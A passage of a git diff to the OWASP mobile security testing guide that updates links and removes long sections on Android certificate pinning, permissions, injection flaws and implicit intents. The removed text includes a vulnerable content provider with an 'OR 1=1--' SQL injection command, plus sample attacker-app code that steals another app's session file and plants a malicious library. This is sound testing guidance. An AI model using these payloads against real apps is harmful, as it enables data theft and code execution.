OkHttpClient.Builder() - .certificatePinner(new CertificatePinner.Builder() - .add("example.com", "sha256/UwQAapahrjCOjYI3oLUx5AQxPBR02Jz6/E2pt0IeLXA=") - .build()) - .build(); -``` - -Applications that use a WebView component may utilize the WebViewClient's event handler for some kind of "certificate pinning" of each request before the target resource is loaded. The following code shows an example verification: - -```java -WebView myWebView = (WebView) findViewById(R.id.webview); -myWebView.setWebViewClient(new WebViewClient(){ - private String expectedIssuerDN = "CN=Let's Encrypt Authority X3,O=Let's Encrypt,C=US;"; - - @Override - public void onLoadResource(WebView view, String url) { - //From Android API documentation about "WebView.getCertificate()": - //Gets the SSL certificate for the main top-level page - //or null if there is no certificate (the site is not secure). - // - //Available information on SslCertificate class are "Issuer DN", "Subject DN" and validity date helpers - SslCertificate serverCert = view.getCertificate(); - if(serverCert != null){ - //apply either certificate or public key pinning comparison here - //Throw exception to cancel resource loading... - } - } - } -}); -``` - -Alternatively, it is better to use an OkHttpClient with configured pins and let it act as a proxy overriding `shouldInterceptRequest` of the `WebViewClient`. - -#### Xamarin Applications - -Applications developed in Xamarin will typically use `ServicePointManager` to implement pinning. - -Normally a function is created to check the certificate(s) and return the boolean value to the method `ServerCertificateValidationCallback`: - -```cs -[Activity(Label = "XamarinPinning", MainLauncher = true)] - public class MainActivity : Activity - { - // SupportedPublicKey - Hexadecimal value of the public key. - // Use GetPublicKeyString() method to determine the public key of the certificate we want to pin. Uncomment the debug code in the ValidateServerCertificate function a first time to determine the value to pin. - private const string SupportedPublicKey = "3082010A02820101009CD30CF05AE52E47B7725D3783B..."; // Shortened for readability - - private static bool ValidateServerCertificate( - object sender, - X509Certificate certificate, - X509Chain chain, - SslPolicyErrors sslPolicyErrors - ) - { - //Log.Debug("Xamarin Pinning",chain.ChainElements[X].Certificate.GetPublicKeyString()); - //return true; - return SupportedPublicKey == chain.ChainElements[1].Certificate.GetPublicKeyString(); - } - - protected override void OnCreate(Bundle savedInstanceState) - { - System.Net.ServicePointManager.ServerCertificateValidationCallback += ValidateServerCertificate; - base.OnCreate(savedInstanceState); - SetContentView(Resource.Layout.Main); - TesteAsync("https://security.claudio.pt"); - - } -``` - -In this particular example we are pinning the intermediate CA of the certificate chain. The output of the HTTP response will be available in the system logs. - -Sample Xamarin app with the previous example can be obtained on the [MASTG repository](https://github.com/OWASP/owasp-mastg/raw/master/Samples/Android/02_CertificatePinning/certificatePinningXamarin.apk "Xamarin app with certificate pinning") - -After decompressing the APK file, use a .NET decompiler like dotPeak, ILSpy or dnSpy to decompile the app dlls stored inside the 'Assemblies' folder and confirm the usage of the ServicePointManager. - -Learn more: - -- Certificate and Public Key Pinning with Xamarin - -- ServicePointManager - - -#### Cordova Applications - -Hybrid applications based on Cordova do not support Certificate Pinning natively, so plugins are used to achieve this. The most common one is [PhoneGap SSL Certificate Checker](https://github.com/EddyVerbruggen/SSLCertificateChecker-PhoneGap-Plugin "PhoneGap SSL Certificate Checker plugin"). The `check` method is used to confirm the fingerprint and callbacks will determine the next steps. - -```javascript - // Endpoint to verify against certificate pinning. - var server = "https://www.owasp.org"; - // SHA256 Fingerprint (Can be obtained via "openssl s_client -connect hostname:443 | openssl x509 -noout -fingerprint -sha256" - var fingerprint = "D8 EF 3C DF 7E F6 44 BA 04 EC D5 97 14 BB 00 4A 7A F5 26 63 53 87 4E 76 67 77 F0 F4 CC ED 67 B9"; - - window.plugins.sslCertificateChecker.check( - successCallback, - errorCallback, - server, - fingerprint); - - function successCallback(message) { - alert(message); - // Message is always: CONNECTION_SECURE. - // Now do something with the trusted server. - } - - function errorCallback(message) { - alert(message); - if (message === "CONNECTION_NOT_SECURE") { - // There is likely a man in the middle attack going on, be careful! - } else if (message.indexOf("CONNECTION_FAILED") >- 1) { - // There was no connection (yet). Internet may be down. Try again (a few times) after a little timeout. - } - } -``` - -After decompressing the APK file, Cordova/Phonegap files will be located in the /assets/www folder. The 'plugins' folder will give you the visibility of the plugins used. We will need to search for this methods in the JavaScript code of the application to confirm its usage. - -### Dynamic Analysis - -Follow the instructions from ["Testing Endpoint Identify Verification > Dynamic Analysis"](#testing-endpoint-identify-verification-mstg-network-3). If doing so doesn't lead to traffic being proxied, it may mean that certificate pinning is actually implemented and all security measures are in place. Does the same happen for all domains? - -As a quick smoke test, you can try to bypass certificate pinning using [objection](0x08a-Testing-Tools.md#objection) as described in ["Bypassing Certificate Pinning"](0x05b-Basic-Security_Testing.md#bypassing-certificate-pinning). Pinning related APIs being hooked by objection should appear in objection's output. - -![objection Android SSL Pinning Bypass](Images/Chapters/0x05b/android_ssl_pinning_bypass.png) - -However, keep in mind that: - -- the APIs might not be complete. -- if nothing is hooked, that doesn't necessarily mean that the app doesn't implement pinning. - -In both cases, the app or some of its components might implement custom pinning in a way that is [supported by objection](https://github.com/sensepost/objection/blob/master/agent/src/android/pinning.ts). Please check the static analysis section for specific pinning indicators and more in-depth testing. - -## Testing the Security Provider (MSTG-NETWORK-6) - -### Static Analysis - -Applications based on the Android SDK should depend on GooglePlayServices. For example, in the gradle build file, you will find `compile 'com.google.android.gms:play-services-gcm:x.x.x'` in the dependencies block. You need to make sure that the `ProviderInstaller` class is called with either `installIfNeeded` or `installIfNeededAsync`. `ProviderInstaller` needs to be called by a component of the application as early as possible. Exceptions thrown by these methods should be caught and handled correctly. If the application cannot patch its security provider, it can either inform the API of its less secure state or restrict user actions (because all HTTPS traffic should be deemed riskier in this situation). - -If you have access to the source code, check if the app handle any exceptions related to the security provider updates properly, and if it reports to the backend when the application is working with an unpatched security provider. The Android Developer documentation provides different examples showing [how to update the Security Provider to prevent SSL exploits](https://developer.android.com/training/articles/security-gms-provider.html "Updating Your Security Provider to Protect Against SSL Exploits"). - -Lastly, make sure that NDK-based applications bind only to a recent and properly patched library that provides SSL/TLS functionality. - -### Dynamic Analysis - -When you have the source code: - -- Run the application in debug mode, then create a breakpoint where the app will first contact the endpoint(s). -- Right click the highlighted code and select `Evaluate Expression`. -- Type `Security.getProviders()` and press enter. -- Check the providers and try to find `GmsCore_OpenSSL`, which should be the new top-listed provider. - -When you do not have the source code: - -- Use Xposed to hook into the `java.security` package, then hook into `java.security.Security` with the method `getProviders` (with no arguments). The return value will be an array of `Provider`. -- Determine whether the first provider is `GmsCore_OpenSSL`. - -## References - -### OWASP MASVS - -- MSTG-NETWORK-1: "Data is encrypted on the network using TLS. The secure channel is used consistently throughout the app." -- MSTG-NETWORK-2: "The TLS settings are in line with current best practices, or as close as possible if the mobile operating system does not support the recommended standards." -- MSTG-NETWORK-3: "The app verifies the X.509 certificate of the remote endpoint when the secure channel is established. Only certificates signed by a trusted CA are accepted." -- MSTG-NETWORK-4: "The app either uses its own certificate store, or pins the endpoint certificate or public key, and subsequently does not establish connections with endpoints that offer a different certificate or key, even if signed by a trusted CA." -- MSTG-NETWORK-6: "The app only depends on up-to-date connectivity and security libraries." diff --git a/Document/0x05h-Testing-Platform-Interaction.md b/Document/0x05h-Testing-Platform-Interaction.md index 62f75704f2..54991957ae 100644 --- a/Document/0x05h-Testing-Platform-Interaction.md +++ b/Document/0x05h-Testing-Platform-Interaction.md @@ -1,3 +1,8 @@ +--- +masvs_category: MASVS-PLATFORM +platform: android +--- + # Android Platform APIs ## Overview @@ -29,8 +34,8 @@ Apps targeting Android 8.0 (API level 26) or higher [are affected](https://devel - **Account access and discoverability improvements**: Apps can no longer get access to user accounts only by having the [`GET_ACCOUNTS`](https://developer.android.com/reference/android/Manifest.permission.html#GET_ACCOUNTS "GET_ACCOUNTS") permission granted, unless the authenticator owns the accounts or the user grants that access. - **New telephony permissions**: the following permissions (classified as dangerous) are now part of the `PHONE` permissions group: - - The `ANSWER_PHONE_CALLS` permission allows to answer incoming phone calls programmatically (via `acceptRingingCall`). - - The `READ_PHONE_NUMBERS` permission grants read access to the phone numbers stored in the device. + - The `ANSWER_PHONE_CALLS` permission allows to answer incoming phone calls programmatically (via `acceptRingingCall`). + - The `READ_PHONE_NUMBERS` permission grants read access to the phone numbers stored in the device. - **Restrictions when granting dangerous permissions**: Dangerous permissions are classified into permission groups (e.g. the `STORAGE` group contains `READ_EXTERNAL_STORAGE` and `WRITE_EXTERNAL_STORAGE`). Before Android 8.0 (API level 26), it was sufficient to request one permission of the group in order to get all permissions of that group also granted at the same time. This has changed [starting at Android 8.0 (API level 26)](https://developer.android.com/about/versions/oreo/android-8.0-changes#rmp "Android 8 Permissions Changes"): whenever an app requests a permission at runtime, the system will grant exclusively that specific permission. However, note that **all subsequent requests for permissions in that permission group will be automatically granted** without showing the permissions dialog to the user. See this example from the Android developer documentation: > Suppose an app lists both READ_EXTERNAL_STORAGE and WRITE_EXTERNAL_STORAGE in its manifest. The app requests READ_EXTERNAL_STORAGE and the user grants it. If the app targets API level 25 or lower, the system also grants WRITE_EXTERNAL_STORAGE at the same time, because it belongs to the same STORAGE permission group and is also registered in the manifest. If the app targets Android 8.0 (API level 26), the system grants only READ_EXTERNAL_STORAGE at that time; however, if the app later requests WRITE_EXTERNAL_STORAGE, the system immediately grants that privilege without prompting the user. @@ -44,9 +49,9 @@ The [following changes](https://developer.android.com/about/versions/pie/android - **Restricted access to call logs**: `READ_CALL_LOG`, `WRITE_CALL_LOG`, and `PROCESS_OUTGOING_CALLS` (dangerous) permissions are moved from `PHONE` to the new `CALL_LOG` permission group. This means that being able to make phone calls (e.g. by having the permissions of the `PHONE` group granted) is not sufficient to get access to the call logs. - **Restricted access to phone numbers**: apps wanting to read the phone number require the `READ_CALL_LOG` permission when running on Android 9 (API level 28). - **Restricted access to Wi-Fi location and connection information**: SSID and BSSID values cannot be retrieved (e.g. via [`WifiManager.getConnectionInfo`](https://developer.android.com/reference/android/net/wifi/WifiManager#getConnectionInfo%28%29 "WifiManager.getConnectionInfo") unless _all_ of the following is true: - - The `ACCESS_FINE_LOCATION` or `ACCESS_COARSE_LOCATION` permission. - - The `ACCESS_WIFI_STATE` permission. - - Location services are enabled (under **Settings** -> **Location**). + - The `ACCESS_FINE_LOCATION` or `ACCESS_COARSE_LOCATION` permission. + - The `ACCESS_WIFI_STATE` permission. + - Location services are enabled (under **Settings** -> **Location**). Apps targeting Android 9 (API level 28) or higher [are affected](https://developer.android.com/about/versions/pie/android-9.0-changes-28 "Behavior changes: apps targeting API level 28+") by the following: @@ -181,7 +186,7 @@ Android offers a way for JavaScript execution in a WebView to call and use nativ Please note that **when you use `addJavascriptInterface`, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView**. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces. -> Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/ "WebView addJavascriptInterface Remote Code Execution") in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated). +> Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are [vulnerable to a flaw](https://labs.withsecure.com/publications/webview-addjavascriptinterface-remote-code-execution "WebView addJavascriptInterface Remote Code Execution") in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated). #### WebViews Cleanup @@ -362,7 +367,7 @@ There are libraries that provide functionality for directly storing the contents - [OrmLite](http://ormlite.com/ "OrmLite"), - [SugarORM](https://satyan.github.io/sugar/ "Sugar ORM"), -- [GreenDAO](https://greenrobot.org/greendao/ "GreenDAO") and +- [GreenDAO](https://github.com/greenrobot/greenDAO "GreenDAO") and - [ActiveAndroid](http://www.activeandroid.com/ "ActiveAndroid"). [Realm](https://www.mongodb.com/docs/realm/sdk/java/ "Realm Java"), on the other hand, uses its own database to store the contents of a class. The amount of protection that ORM can provide depends primarily on whether the database is encrypted. See the chapter "[Data Storage on Android](0x05d-Testing-Data-Storage.md)" for more details. The Realm website includes a nice [example of ORM Lite](https://github.com/j256/ormlite-examples/tree/master/android/HelloAndroid "OrmLite example"). @@ -429,1809 +434,3 @@ Enforced updating can be really helpful when it comes to public key pinning (see Please note that newer versions of an application will not fix security issues that are living in the backends to which the app communicates. Allowing an app not to communicate with it might not be enough. Having proper API-lifecycle management is key here. Similarly, when a user is not forced to update, do not forget to test older versions of your app against your API and/or use proper API versioning. - -## Testing for App Permissions (MSTG-PLATFORM-1) - -### Overview - -When testing [app permissions](#app-permissions "App Permissions") the goal is to try and reduce the amount of permissions used by your app to the absolute minimum. While going through each permission, remember that it is best practice first to try and [evaluate whether your app needs to use this permission](https://developer.android.com/training/permissions/evaluating) because many functionalities such as taking a photo can be done without, limiting the amount of access to sensitive data. If permissions are required you will then make sure that the request/response to access the permission is handled handled correctly. - -### Static Analysis - -#### Android Permissions - -Check permissions to make sure that the app really needs them and remove unnecessary permissions. For example, the `INTERNET` permission in the AndroidManifest.xml file is necessary for an Activity to load a web page into a WebView. Because a user can revoke an application's right to use a dangerous permission, the developer should check whether the application has the appropriate permission each time an action is performed that would require that permission. - -```xml - -``` - -Go through the permissions with the developer to identify the purpose of every permission set and remove unnecessary permissions. - -Besides going through the AndroidManifest.xml file manually, you can also use the Android Asset Packaging tool (aapt) to examine the permissions of an APK file. - -> aapt comes with the Android SDK within the build-tools folder. It requires an APK file as input. You may list the APKs in the device by running `adb shell pm list packages -f | grep -i ` as seen in "[Listing Installed Apps](0x05b-Basic-Security_Testing.md#listing-installed-apps "Listing Installed Apps")". - -```bash -$ aapt d permissions app-x86-debug.apk -package: sg.vp.owasp_mobile.omtg_android -uses-permission: name='android.permission.WRITE_EXTERNAL_STORAGE' -uses-permission: name='android.permission.INTERNET' -``` - -Alternatively you may obtain a more detailed list of permissions via adb and the dumpsys tool: - -```bash -$ adb shell dumpsys package sg.vp.owasp_mobile.omtg_android | grep permission - requested permissions: - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET - android.permission.READ_EXTERNAL_STORAGE - install permissions: - android.permission.INTERNET: granted=true - runtime permissions: -``` - -Please reference this [permissions overview](https://developer.android.com/guide/topics/permissions/overview#permission-groups "Table 1. Dangerous permissions and permission groups.") for descriptions of the listed permissions that are considered dangerous. - -```default -READ_CALENDAR -WRITE_CALENDAR -READ_CALL_LOG -WRITE_CALL_LOG -PROCESS_OUTGOING_CALLS -CAMERA -READ_CONTACTS -WRITE_CONTACTS -GET_ACCOUNTS -ACCESS_FINE_LOCATION -ACCESS_COARSE_LOCATION -RECORD_AUDIO -READ_PHONE_STATE -READ_PHONE_NUMBERS -CALL_PHONE -ANSWER_PHONE_CALLS -ADD_VOICEMAIL -USE_SIP -BODY_SENSORS -SEND_SMS -RECEIVE_SMS -READ_SMS -RECEIVE_WAP_PUSH -RECEIVE_MMS -READ_EXTERNAL_STORAGE -WRITE_EXTERNAL_STORAGE -``` - -#### Custom Permissions - -Apart from enforcing custom permissions via the application manifest file, you can also check permissions programmatically. This is not recommended, however, because it is more error-prone and can be bypassed more easily with, e.g., runtime instrumentation. It is recommended that the `ContextCompat.checkSelfPermission` method is called to check if an activity has a specified permission. Whenever you see code like the following snippet, make sure that the same permissions are enforced in the manifest file. - -```java -private static final String TAG = "LOG"; -int canProcess = checkCallingOrSelfPermission("com.example.perm.READ_INCOMING_MSG"); -if (canProcess != PERMISSION_GRANTED) -throw new SecurityException(); -``` - -Or with `ContextCompat.checkSelfPermission` which compares it to the manifest file. - -```java -if (ContextCompat.checkSelfPermission(secureActivity.this, Manifest.READ_INCOMING_MSG) - != PackageManager.PERMISSION_GRANTED) { - //!= stands for not equals PERMISSION_GRANTED - Log.v(TAG, "Permission denied"); - } -``` - -#### Requesting Permissions - -If your application has permissions that need to be requested at runtime, the application must call the `requestPermissions` method in order to obtain them. The app passes the permissions needed and an integer request code you have specified to the user asynchronously, returning once the user chooses to accept or deny the request in the same thread. After the response is returned the same request code is passed to the app's callback method. - -```java -private static final String TAG = "LOG"; -// We start by checking the permission of the current Activity -if (ContextCompat.checkSelfPermission(secureActivity.this, - Manifest.permission.WRITE_EXTERNAL_STORAGE) - != PackageManager.PERMISSION_GRANTED) { - - // Permission is not granted - // Should we show an explanation? - if (ActivityCompat.shouldShowRequestPermissionRationale(secureActivity.this, - //Gets whether you should show UI with rationale for requesting permission. - //You should do this only if you do not have permission and the permission requested rationale is not communicated clearly to the user. - Manifest.permission.WRITE_EXTERNAL_STORAGE)) { - // Asynchronous thread waits for the users response. - // After the user sees the explanation try requesting the permission again. - } else { - // Request a permission that doesn't need to be explained. - ActivityCompat.requestPermissions(secureActivity.this, - new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE}, - MY_PERMISSIONS_REQUEST_WRITE_EXTERNAL_STORAGE); - // MY_PERMISSIONS_REQUEST_WRITE_EXTERNAL_STORAGE will be the app-defined int constant. - // The callback method gets the result of the request. - } -} else { - // Permission already granted debug message printed in terminal. - Log.v(TAG, "Permission already granted."); -} -``` - -Please note that if you need to provide any information or explanation to the user it needs to be done before the call to `requestPermissions`, since the system dialog box can not be altered once called. - -#### Handling Responses to Permission Requests - -Now your app has to override the system method `onRequestPermissionsResult` to see if the permission was granted. This method receives the `requestCode` integer as input parameter (which is the same request code that was created in `requestPermissions`). - -The following callback method may be used for `WRITE_EXTERNAL_STORAGE`. - -```java -@Override //Needed to override system method onRequestPermissionsResult() -public void onRequestPermissionsResult(int requestCode, //requestCode is what you specified in requestPermissions() - String permissions[], int[] permissionResults) { - switch (requestCode) { - case MY_PERMISSIONS_WRITE_EXTERNAL_STORAGE: { - if (grantResults.length > 0 - && permissionResults[0] == PackageManager.PERMISSION_GRANTED) { - // 0 is a canceled request, if int array equals requestCode permission is granted. - } else { - // permission denied code goes here. - Log.v(TAG, "Permission denied"); - } - return; - } - // Other switch cases can be added here for multiple permission checks. - } -} - -``` - -Permissions should be explicitly requested for every needed permission, even if a similar permission from the same group has already been requested. For applications targeting Android 7.1 (API level 25) and older, Android will automatically give an application all the permissions from a permission group, if the user grants one of the requested permissions of that group. Starting with Android 8.0 (API level 26), permissions will still automatically be granted if a user has already granted a permission from the same permission group, but the application still needs to explicitly request the permission. In this case, the `onRequestPermissionsResult` handler will automatically be triggered without any user interaction. - -For example if both `READ_EXTERNAL_STORAGE` and `WRITE_EXTERNAL_STORAGE` are listed in the Android Manifest but only permissions are granted for `READ_EXTERNAL_STORAGE`, then requesting `WRITE_EXTERNAL_STORAGE` will automatically have permissions without user interaction because they are in the same group and not explicitly requested. - -#### Permission Analysis - -Always check whether the application is requesting permissions it actually requires. Make sure that no permissions are requested which are not related to the goal of the app, especially `DANGEROUS` and `SIGNATURE` permissions, since they can affect both the user and the application if mishandled. For instance, it should be suspicious if a single-player game app requires access to `android.permission.WRITE_SMS`. - -When analyzing permissions, you should investigate the concrete use case scenarios of the app and always check if there are replacement APIs for any `DANGEROUS` permissions in use. A good example is the [SMS Retriever API](https://developers.google.com/identity/sms-retriever/overview) which streamlines the usage of SMS permissions when performing SMS-based user verification. By using this API an application does not have to declare `DANGEROUS` permissions which is a benefit to both the user and developers of the application, who doesn't have to submit the [Permissions Declaration Form](https://support.google.com/googleplay/android-developer/answer/9214102?hl=en). - -### Dynamic Analysis - -Permissions for installed applications can be retrieved with `adb`. The following extract demonstrates how to examine the permissions used by an application. - -```bash -$ adb shell dumpsys package com.google.android.youtube -... -declared permissions: - com.google.android.youtube.permission.C2D_MESSAGE: prot=signature, INSTALLED -requested permissions: - android.permission.INTERNET - android.permission.ACCESS_NETWORK_STATE -install permissions: - com.google.android.c2dm.permission.RECEIVE: granted=true - android.permission.USE_CREDENTIALS: granted=true - com.google.android.providers.gsf.permission.READ_GSERVICES: granted=true -... -``` - -The output shows all permissions using the following categories: - -- **declared permissions**: list of all _custom_ permissions. -- **requested and install permissions**: list of all install-time permissions including _normal_ and _signature_ permissions. -- **runtime permissions**: list of all _dangerous_ permissions. - -When doing the dynamic analysis: - -- [Evaluate](https://developer.android.com/training/permissions/evaluating) whether the app really needs the requested permissions. For instance: a single-player game that requires access to `android.permission.WRITE_SMS`, might not be a good idea. -- In many cases the app could opt for [alternatives to declaring permissions](https://developer.android.com/training/permissions/evaluating#alternatives), such as: - - requesting the `ACCESS_COARSE_LOCATION` permission instead of `ACCESS_FINE_LOCATION`. Or even better not requesting the permission at all, and instead ask the user to enter a postal code. - - invoking the `ACTION_IMAGE_CAPTURE` or `ACTION_VIDEO_CAPTURE` intent action instead of requesting the `CAMERA` permission. - - using [Companion Device Pairing](https://developer.android.com/guide/topics/connectivity/companion-device-pairing) (Android 8.0 (API level 26) and higher) when pairing with a Bluetooth device instead of declaring the `ACCESS_FINE_LOCATION`, `ACCESS_COARSE_LOCATIION`, or `BLUETOOTH_ADMIN` permissions. -- Use the [Privacy Dashboard](https://developer.android.com/training/permissions/explaining-access#privacy-dashboard) (Android 12 (API level 31) and higher) to verify how the app [explains access to sensitive information](https://developer.android.com/training/permissions/explaining-access). - -To obtain detail about a specific permission you can refer to the [Android Documentation](https://developer.android.com/reference/android/Manifest.permission). - -## Testing for Injection Flaws (MSTG-PLATFORM-2) - -### Overview - -To test for [injection flaws](0x04h-Testing-Code-Quality.md#injection-flaws-mstg-arch-2-and-mstg-platform-2 "Injection Flaws") you need to first rely on other tests and check for functionality that might have been exposed: - -- ["Testing Deep Links"](#testing-deep-links-mstg-platform-3) -- ["Testing for Sensitive Functionality Exposure Through IPC"](#testing-for-sensitive-functionality-exposure-through-ipc-mstg-platform-4) -- ["Testing for Overlay Attacks"](#testing-for-overlay-attacks-mstg-platform-9) - -### Static Analysis - -An example of a vulnerable IPC mechanism is shown below. - -You can use _ContentProviders_ to access database information, and you can probe services to see if they return data. If data is not validated properly, the content provider may be prone to SQL injection while other apps are interacting with it. See the following vulnerable implementation of a _ContentProvider_. - -```xml - - -``` - -The `AndroidManifest.xml` above defines a content provider that's exported and therefore available to all other apps. The `query` function in the `OMTG_CODING_003_SQL_Injection_Content_Provider_Implementation.java` class should be inspected. - -```java -@Override -public Cursor query(Uri uri, String[] projection, String selection,String[] selectionArgs, String sortOrder) { - SQLiteQueryBuilder qb = new SQLiteQueryBuilder(); - qb.setTables(STUDENTS_TABLE_NAME); - - switch (uriMatcher.match(uri)) { - case STUDENTS: - qb.setProjectionMap(STUDENTS_PROJECTION_MAP); - break; - - case STUDENT_ID: - // SQL Injection when providing an ID - qb.appendWhere( _ID + "=" + uri.getPathSegments().get(1)); - Log.e("appendWhere",uri.getPathSegments().get(1).toString()); - break; - - default: - throw new IllegalArgumentException("Unknown URI " + uri); - } - - if (sortOrder == null || sortOrder == ""){ - /** - * By default sort on student names - */ - sortOrder = NAME; - } - Cursor c = qb.query(db, projection, selection, selectionArgs,null, null, sortOrder); - - /** - * register to watch a content URI for changes - */ - c.setNotificationUri(getContext().getContentResolver(), uri); - return c; -} -``` - -While the user is providing a STUDENT_ID at `content://sg.vp.owasp_mobile.provider.College/students`, the query statement is prone to SQL injection. Obviously [prepared statements](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html "OWASP SQL Injection Prevention Cheat Sheet") must be used to avoid SQL injection, but [input validation](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html "OWASP Input Validation Cheat Sheet") should also be applied so that only input that the app is expecting is processed. - -All app functions that process data coming in through the UI should implement input validation: - -- For user interface input, [Android Saripaar v2](https://github.com/ragunathjawahar/android-saripaar "Android Saripaar v2") can be used. -- For input from IPC or URL schemes, a validation function should be created. For example, the following determines whether the [string is alphanumeric](https://stackoverflow.com/questions/11241690/regex-for-checking-if-a-string-is-strictly-alphanumeric "Input Validation"): - -```java -public boolean isAlphaNumeric(String s){ - String pattern= "^[a-zA-Z0-9]*$"; - return s.matches(pattern); -} -``` - -An alternative to validation functions is type conversion, with, for example, `Integer.parseInt` if only integers are expected. The [OWASP Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html "OWASP Input Validation Cheat Sheet") contains more information about this topic. - -### Dynamic Analysis - -The tester should manually test the input fields with strings like `OR 1=1--` if, for example, a local SQL injection vulnerability has been identified. - -On a rooted device, the command content can be used to query the data from a content provider. The following command queries the vulnerable function described above. - -```bash -# content query --uri content://sg.vp.owasp_mobile.provider.College/students -``` - -SQL injection can be exploited with the following command. Instead of getting the record for Bob only, the user can retrieve all data. - -```bash -# content query --uri content://sg.vp.owasp_mobile.provider.College/students --where "name='Bob') OR 1=1--''" -``` - -## Testing Implicit Intents (MSTG-PLATFORM-2) - -### Overview - -When testing for [implicit intents](#implicit-intents) you need to check if they are vulnerable to injection attacks or potentially leaking sensitive data. - -### Static Analysis - -Inspect the Android Manifest and look for any `` signatures defined inside [ blocks](https://developer.android.com/guide/topics/manifest/queries-element "Android queries") (which specify the set of other apps an app intends to interact with), check if it contains any system actions (e.g. `android.intent.action.GET_CONTENT`, `android.intent.action.PICK`, `android.media.action.IMAGE_CAPTURE`, etc.) and browse the source code for their occurrence. - -For example, the following `Intent` doesn't specify any concrete component, meaning that it's an implicit intent. It sets the action `android.intent.action.GET_CONTENT` to ask the user for input data and then the app starts the intent by `startActivityForResult` and specifying an image chooser. - -```java -Intent intent = new Intent(); -intent.setAction("android.intent.action.GET_CONTENT"); -startActivityForResult(Intent.createChooser(intent, ""), REQUEST_IMAGE); -``` - -The app uses `startActivityForResult` instead of `startActivity`, indicating that it expects a result (in this case an image), so you should check how the return value of the intent is handled by looking for the `onActivityResult` callback. If the return value of the intent isn't properly validated, an attacker may be able to read arbitrary files or execute arbitrary code from the app's internal `/data/data/' storage. A full description of this type of attack can be found in the [following blog post](https://blog.oversecured.com/Interception-of-Android-implicit-intents " Current attacks on implicit intents"). - -#### Case 1: Arbitrary File Read - -In this example we're going to see how an attacker can read arbitrary files from within the app's internal storage `/data/data/` due to the improper validation of the return value of the intent. - -The `performAction` method in the following example reads the implicit intents return value, which can be an attacker provided URI and hands it to `getFileItemFromUri`. This method copies the file to a temp folder, which is usual if this file is displayed internally. But if the app stores the URI provided file in an external temp directory e.g by calling `getExternalCacheDir` or `getExternalFilesDir` an attacker can read this file if he sets the permission `android.permission.READ_EXTERNAL_STORAGE`. - -```java -private void performAction(Action action){ - ... - Uri data = intent.getData(); - if (!(data == null || (fileItemFromUri = getFileItemFromUri(data)) == null)) { - ... - } -} - -private FileItem getFileItemFromUri(Context, context, Uri uri){ - String fileName = UriExtensions.getFileName(uri, context); - File file = new File(getExternalCacheDir(), "tmp"); - file.createNewFile(); - copy(context.openInputStream(uri), new FileOutputStream(file)); - ... -} -``` - -The following is the source of a malicious app that exploits the above vulnerable code. - -AndroidManifest.xml - -```xml - - - - - - - - - -``` - -EvilContentActivity.java - -```java -public class EvilContentActivity extends Activity{ - @Override - protected void OnCreate(@Nullable Bundle savedInstanceState){ - super.OnCreate(savedInstanceState); - setResult(-1, new Intent().setData(Uri.parse("file:///data/data//shared_preferences/session.xml"))); - finish(); - } -} -``` - -If the user selects the malicious app to handle the intent, the attacker can now steal the `session.xml` file from the app's internal storage. In the previous example, the victim must explicitly select the attacker's malicious app in a dialog. However, developers may choose to suppress this dialog and automatically determine a recipient for the intent. This would allow the attack to occur without any additional user interaction. - -The following code sample implements this automatic selection of the recipient. By specifying a priority in the malicious app's intent filter, the attacker can influence the selection sequence. - -```java -Intent intent = new Intent("android.intent.action.GET_CONTENT"); -for(ResolveInfo info : getPackageManager().queryIntentActivities(intent, 0)) { - intent.setClassName(info.activityInfo.packageName, info.activityInfo.name); - startActivityForResult(intent); - return; -} -``` - -#### Case 2: Arbitrary Code Execution - -An improperly handled return value of an implicit intent can lead to arbitrary code execution if the victim app allows `content://` and `file://` URLs. - -An attacker can implement a [`ContentProvider`](https://developer.android.com/reference/android/content/ContentProvider "Android ContentProvider") that contains `public Cursor query(...)` to set an arbitrary file (in this case *lib.so*), and if the victim loads this file from the content provider by executing `copy` the attacker's `ParcelFileDescriptor openFile(...)` method will be executed and return a malicious *fakelib.so*. - -AndroidManifest.xml - -```xml - - - - - - - - - - -``` - -EvilContentProvider.java - -```java -public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { - MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"}); - matrixCursor.addRow(new Object[]{"../lib-main/lib.so"}); - return matrixCursor; -} -public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { - return ParcelFileDescriptor.open(new File("/data/data/com.attacker/fakelib.so"), ParcelFileDescriptor.MODE_READ_ONLY); -} -``` - -EvilContentActivity.java - -```java -public class EvilContentActivity extends Activity{ - @Override - protected void OnCreate(@Nullable Bundle savedInstanceState){ - super.OnCreate(savedInstanceState); - setResult(-1, new Intent().setData(Uri.parse("content:///data/data/com.attacker/fakelib.so"))); - finish(); - } -} -``` - -### Dynamic Analysis - -A convenient way to dynamically test for implicit intents, especially to identify potentially leaked sensitive data, is to use Frida or frida-trace and hook the `startActivityForResult` and `onActivityResult` methods and inspect the provided intents and the data they contain. - -## Testing for URL Loading in WebViews (MSTG-PLATFORM-2) - -### Overview - -In order to test for [URL loading in WebViews](#url-loading-in-webviews "URL Loading in WebViews") you need to carefully analyze [handling page navigation](https://developer.android.com/guide/webapps/webview#HandlingNavigation "Handling page navigation"), especially when users might be able to navigate away from a trusted environment. The default and safest behavior on Android is to let the default web browser open any link that the user might click inside the WebView. However, this default logic can be modified by configuring a `WebViewClient` which allows navigation requests to be handled by the app itself. - -### Static Analysis - -#### Check for Page Navigation Handling Override - -To test if the app is overriding the default page navigation logic by configuring a `WebViewClient` you should search for and inspect the 